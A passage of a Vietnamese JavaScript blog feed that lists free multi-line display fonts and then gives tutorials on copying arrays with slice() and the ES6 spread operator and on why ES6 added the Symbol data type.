/static/76a4c64c8c0f3ab21315bbdef5d8ab6c/7efee/20-multi-lines-fonts-mad-squire-typeface.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Mad Squire là một kiểu chữ sans serif hình học và thử nghiệm miễn phí lấy cảm hứng từ các đường thẳng song song.</p> <p>Mad Squire được thực hiện như một dự án cá nhân và vì vậy nó hoàn toàn miễn phí cho mục đích sử dụng cá nhân và thương mại.</p> <a href="https://www.behance.net/gallery/21888779/Mad-Squire-typeface-FREE-FONT" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="ny-bricks" style="position:relative;"><a href="#ny-bricks" aria-label="ny bricks permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ny Bricks</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 64.24242424242425%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAIBAwQF/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEAMQAAABaeM5YZw//8QAGhAAAwADAQAAAAAAAAAAAAAAAAECAxETBP/aAAgBAQABBQLFM7tuB2t9aH6LOjP/xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAZEAACAwEAAAAAAAAAAAAAAAAAARARMSH/2gAIAQEABj8CtHVGmx//xAAbEAEAAgMBAQAAAAAAAAAAAAABABEhMUFxof/aAAgBAQABPyGnucbSVhcrwhWH2V1WByJ3CzkH2f/aAAwDAQACAAMAAAAQI8//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/ED//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/ED//xAAdEAEAAgICAwAAAAAAAAAAAAABABEhUTFBcYGR/9oACAEBAAE/ENK4ir7DMCTXxCFCmnG175IKCHqwFtdZpPDL4hsWs//Z'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Ny Bricks" title="Ny Bricks" src="/static/65d96e4c69e68544f700280e0453e148/5ab81/20-multi-lines-fonts-ny-bricks.jpg" srcset="/static/65d96e4c69e68544f700280e0453e148/e4e7a/20-multi-lines-fonts-ny-bricks.jpg 165w, /static/65d96e4c69e68544f700280e0453e148/4f5c6/20-multi-lines-fonts-ny-bricks.jpg 330w, /static/65d96e4c69e68544f700280e0453e148/5ab81/20-multi-lines-fonts-ny-bricks.jpg 660w, /static/65d96e4c69e68544f700280e0453e148/7efee/20-multi-lines-fonts-ny-bricks.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>NY Bricks là một kiểu chữ hiển thị mạnh mẽ, miễn phí.</p> <p>Ny Bricks lấy cảm hứng từ phong cách đường phố. Lý tưởng cho áp phích, tiêu đề, thương hiệu và tác phẩm nghệ thuật kiểu chữ. Phông chữ chứa tất cả các chữ cái viết hoa, số, dấu câu và các ký tự đa ngôn ngữ.</p> <p>NY Bricks miễn phí cho mục đích sử dụng cá nhân và thương mại. Được thiết kế bởi Mariano Diez. Cyrillic set bởi Denis Ignatov.</p> <a href="https://www.behance.net/gallery/83151057/NY-Bricks-Free-font" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <h2 id="kielo-free-font" style="position:relative;"><a href="#kielo-free-font" aria-label="kielo free font permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kielo Free Font</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 73.33333333333334%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAPABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAEF/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQP/2gAMAwEAAhADEAAAAdexKcAf/8QAFBABAAAAAAAAAAAAAAAAAAAAIP/aAAgBAQABBQJf/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAFBABAAAAAAAAAAAAAAAAAAAAIP/aAAgBAQAGPwJf/8QAFRABAQAAAAAAAAAAAAAAAAAAASD/2gAIAQEAAT8hK//aAAwDAQACAAMAAAAQCD//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/ED//xAAVEQEBAAAAAAAAAAAAAAAAAAABEP/aAAgBAgEBPxAn/8QAGhAAAgIDAAAAAAAAAAAAAAAAAREAEEFRcf/aAAgBAQABPxDhxHQoLMYr/9k='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Kielo Free Font" title="Kielo Free Font" src="/static/629f4b1e1206d5d241ce47fe1ac8b569/5ab81/20-multi-lines-fonts-kielo-free-font.jpg" srcset="/static/629f4b1e1206d5d241ce47fe1ac8b569/e4e7a/20-multi-lines-fonts-kielo-free-font.jpg 165w, /static/629f4b1e1206d5d241ce47fe1ac8b569/4f5c6/20-multi-lines-fonts-kielo-free-font.jpg 330w, /static/629f4b1e1206d5d241ce47fe1ac8b569/5ab81/20-multi-lines-fonts-kielo-free-font.jpg 660w, /static/629f4b1e1206d5d241ce47fe1ac8b569/7efee/20-multi-lines-fonts-kielo-free-font.jpg 690w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Kielo là một phông chữ tiêu đề viết hoa, miễn phí với bộ glyphs lớn.</p> <a href="https://www.behance.net/gallery/70249547/Kielo-Free-font" class="btn btn-primary margin-bottom" target="_blank" rel="noopener noreferrer"> Download </a> <p>Tham khảo: <a href="https://bashooka.com/freebie/free-double-multi-line-fonts/">20+ Awesome Free Double &#x26; Multi Line Fonts</a></p>[email protected]<![CDATA[Sao chép mảng với ES6 trong JavaScript]]><![CDATA[Toán tử spread trong ES6 thường được sử dụng để sao chép một mảng. Trong khi, phương thức slice() trong JavaScript là một cách cũ hơn với đối số đầu tiên là 0. Hai phương thức này…]]>https://completejavascript.com/sao-chep-mang-voi-es6-javascript/https://completejavascript.com/sao-chep-mang-voi-es6-javascript/<![CDATA[Câu hỏi JS ES6]]>Tue, 10 May 2022 21:46:00 GMT<p>Toán tử <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">spread</a> trong ES6 thường được sử dụng để <strong>sao chép một mảng</strong>. Trong khi, phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice"><code>slice()</code></a> trong JavaScript là một cách cũ hơn với đối số đầu tiên là <code>0</code>.</p> <p>Hai phương thức này đều tạo một mảng mới, độc lập và sao chép tất cả các phần tử của mảng cũ sang mảng mới. Nói cách khác, cả hai phương thức này đều thực hiện <strong>sao chép nông</strong> của mảng ban đầu.</p> <h2 id="cú-pháp" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p" aria-label="cú pháp permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp</h2> <p>Cú pháp phương thức <code>slice()</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> clonedArray <span class="token operator">=</span> oldArray<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Cách sử dụng toán tử spread để sao chép mảng trong ES6:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> clonedArrayES6 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>oldArray<span class="token punctuation">]</span><span class="token punctuation">;</span></code></pre></div> <p>Ví dụ về clone mảng trong ES6:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> oldArray <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">"dog1"</span><span class="token punctuation">,</span> <span class="token string">"dog2"</span><span class="token punctuation">,</span> <span class="token string">"dog3"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token keyword">const</span> clonedArrayES6 <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token operator">...</span>oldArray<span class="token punctuation">]</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>clonedArrayES6<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ["dog1", "dog2", "dog3"]</span></code></pre></div> <h1 id="chú-ý" style="position:relative;"><a href="#ch%C3%BA-%C3%BD" aria-label="chú ý permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Chú ý</h1> <ul> <li>Toán tử gán <code>=</code> - tạo ra biến mới chỉ trỏ đến mảng ban đầu thay vì sao chép các phần tử của mảng.</li> <li>Toán tử spread <code>...</code> - tạo ra một mảng mới, các phần tử mảng được sao chép, với các tham chiếu khác nhau nhưng có cùng giá trị.</li> </ul> <p>Tham khảo:</p> <ul> <li><a href="/array-la-gi-array-trong-javascript/">Array là gì? Array trong JavaScript</a></li> <li><a href="/phuong-thuc-cua-mang-trong-javascript/">Các phương thức của mảng trong JS</a></li> <li><a href="https://www.geeksforgeeks.org/how-to-clone-array-in-es6/">How to clone array in ES6?</a></li> </ul>[email protected]<![CDATA[Tại sao có kiểu dữ liệu Symbol trong ES6 JavaScript]]><![CDATA[Trước khi có ES6, Javascript bao gồm 6 kiểu dữ liệu là undefined, null, boolean, string, number và object. Symbol là kiểu dữ liệu mới được giới thiệu trong ES6, làm cho tổng số…]]>https://completejavascript.com/tai-sao-co-symbol-trong-es6/https://completejavascript.com/tai-sao-co-symbol-trong-es6/<![CDATA[Câu hỏi JS ES6]]>Tue, 10 May 2022 20:47:00 GMT<p>Trước khi có ES6, Javascript bao gồm 6 kiểu dữ liệu là <code>undefined</code>, <code>null</code>, boolean, string, number và object. <strong>Symbol</strong> là kiểu dữ liệu mới được giới thiệu trong ES6, làm cho tổng số kiểu dữ liệu trong JavaScript là 7.</p> <p><strong>Symbol</strong> là một kiểu dữ liệu nguyên thủy chứ không phải kiểu dữ liệu tham chiếu như object. Nói cách khác, <strong>symbol</strong> là kiểu dữ liệu bất biến (immutable) và thường dùng làm mã định danh duy nhất cho các <strong>key</strong> trong đối tượng. Trước khi symbol ra đời, rất khó tạo ra các <strong>key duy nhất</strong>.</p> <p>Điều quan trọng là phải duy trì các key duy nhất để <strong>ngăn việc ghi đè</strong> các giá trị có key tương tự, vì điều này sẽ dẫn đến mất dữ liệu.</p> <p>Sự ra đời của Symbol đã giúp khắc phục vấn đề trên vì các khóa duy nhất được tạo ra mà không cần viết một đoạn mã phức tạp.</p> <p>Các <strong>key duy nhất</strong> có thể được tạo bằng cách dùng hàm <code>Symbol()</code>. Hàm <strong>Symbol()</strong> trả về một giá trị kiểu <strong>Symbol</strong>.</p> <h2 id="cú-pháp-khởi-tạo-symbol" style="position:relative;"><a href="#c%C3%BA-ph%C3%A1p-kh%E1%BB%9Fi-t%E1%BA%A1o-symbol" aria-label="cú pháp khởi tạo symbol permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cú pháp khởi tạo Symbol</h2> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> Symbol <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Dưới đây là các ví dụ chứng minh vai trò quan trọng của Symbol.</p> <h3 id="ví-dụ-1" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-1" aria-label="ví dụ 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ 1</h3> <p>Trong ví dụ này, mình sẽ tạo ra các symbol.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> sym1 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> sym2 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"mysymbol"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Type of sym1: "</span><span class="token punctuation">,</span> <span class="token keyword">typeof</span> sym1<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Type of sym2: "</span><span class="token punctuation">,</span> <span class="token keyword">typeof</span> sym2<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Kết quả:</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Type of sym1: symbol Type of sym2: symbol</code></pre></div> <h3 id="ví-dụ-2" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-2" aria-label="ví dụ 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ví dụ 2</h3> <p>Trong ví dụ này, bạn sẽ thấy hàm <code>Symbol()</code> tạo ra các <strong>key duy nhất</strong>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> sym1 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"mysymbol"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> sym2 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"mysymbol"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"sym1===sym2: "</span><span class="token punctuation">,</span> sym1 <span class="token operator">===</span> sym2<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Kết quả:</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">sym1===sym2: false</code></pre></div> <p><strong>Chú ý:</strong> Kiểu dữ liệu Symbol là kiểu dữ liệu nguyên thủy và không thể thay đổi.</p> <h2 id="so-sánh-symbol-và-kiểu-dữ-liệu-khác" style="position:relative;"><a href="#so-s%C3%A1nh-symbol-v%C3%A0-ki%E1%BB%83u-d%E1%BB%AF-li%E1%BB%87u-kh%C3%A1c" aria-label="so sánh symbol và kiểu dữ liệu khác permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh Symbol và kiểu dữ liệu khác</h2> <p>Để thấy rõ sự khác nhau của Symbol với kiểu dữ liệu khác, cũng như ứng dụng của Symbol, sau đây là một ví dụ.</p> <p>Giả sử, mình có một danh sách điểm các học sinh với:</p> <ul> <li><strong>key</strong>: tên học sinh.</li> <li><strong>value</strong>: điểm tương ứng của học sinh.</li> </ul> <h3 id="khi-không-sử-dụng-symbol" style="position:relative;"><a href="#khi-kh%C3%B4ng-s%E1%BB%AD-d%E1%BB%A5ng-symbol" aria-label="khi không sử dụng symbol permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khi không sử dụng symbol</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> marks <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> marks<span class="token punctuation">[</span><span class="token string">"Joe"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">100</span><span class="token punctuation">;</span> marks<span class="token punctuation">[</span><span class="token string">"Ana"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">90</span><span class="token punctuation">;</span> marks<span class="token punctuation">[</span><span class="token string">"Chloe"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">95</span><span class="token punctuation">;</span> marks<span class="token punctuation">[</span><span class="token string">"Marie"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">75</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>marks<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {Joe: 100, Ana: 90, Chloe: 95, Marie: 75}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Another student with name Chloe appears"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Another student with name Chloe appears</span> marks<span class="token punctuation">[</span><span class="token string">"Chloe"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">60</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"After the marks of the fifth student is entered"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// After the marks of the fifth student is entered</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>marks<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {Joe: 100, Ana: 90, Chloe: 60, Marie: 75}</span></code></pre></div> <p><strong>Kết quả:</strong> Điểm của học sinh Chloe <strong>bị ghi đè</strong> bởi vì có hai học sinh cùng tên.</p> <h3 id="khi-sử-dụng-symbol" style="position:relative;"><a href="#khi-s%E1%BB%AD-d%E1%BB%A5ng-symbol" aria-label="khi sử dụng symbol permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khi sử dụng Symbol</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">var</span> marks <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">var</span> sym1 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"Joe"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> marks<span class="token punctuation">[</span>sym1<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">100</span><span class="token punctuation">;</span> <span class="token keyword">var</span> sym2 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"Ana"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> marks<span class="token punctuation">[</span>sym2<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">90</span><span class="token punctuation">;</span> <span class="token keyword">var</span> sym3 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"Chloe"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> marks<span class="token punctuation">[</span>sym3<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">95</span><span class="token punctuation">;</span> <span class="token keyword">var</span> sym4 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"Marie"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> marks<span class="token punctuation">[</span>sym4<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">75</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>marks<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {</span> <span class="token comment">// Symbol(Joe): 100, Symbol(Ana): 90, Symbol(Chloe): 95,</span> <span class="token comment">// Symbol(Marie): 75</span> <span class="token comment">// }</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Another student with name Chloe appears"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Another student with name Chloe appears</span> <span class="token keyword">var</span> sym5 <span class="token operator">=</span> <span class="token function">Symbol</span><span class="token punctuation">(</span><span class="token string">"Chloe"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> marks<span class="token punctuation">[</span>sym5<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">60</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"After the marks of the fifth student is entered"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// After the marks of the fifth student is entered</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>marks<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// {</span> <span class="token comment">// Symbol(Joe): 100, Symbol(Ana): 90, Symbol(Chloe): 95,</span> <span class="token comment">// Symbol(Marie): 75, Symbol(Chloe): 60</span> <span class="token comment">// }</span></code></pre></div> <p><strong>Kết quả:</strong> Điểm của Chloe <strong>không bị ghi đè</strong> khi học sinh khác trùng tên xuất hiện, không bị mất dữ liệu.</p> <h2 id="hạn-chế-của-symbol" style="position:relative;"><a href="#h%E1%BA%A1n-ch%E1%BA%BF-c%E1%BB%A7a-symbol" aria-label="hạn chế của symbol permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hạn chế của Symbol</h2> <ul> <li>Các symbol bị bỏ qua trong <a href="/vong-lap-trong-javascript/">vòng lặp <code>for..in</code></a>.</li> <li>Symbol bị bỏ qua bởi các hàm như <a href="https://www.geeksforgeeks.org/object-keys-javascript/">Object.keys()</a>, <a 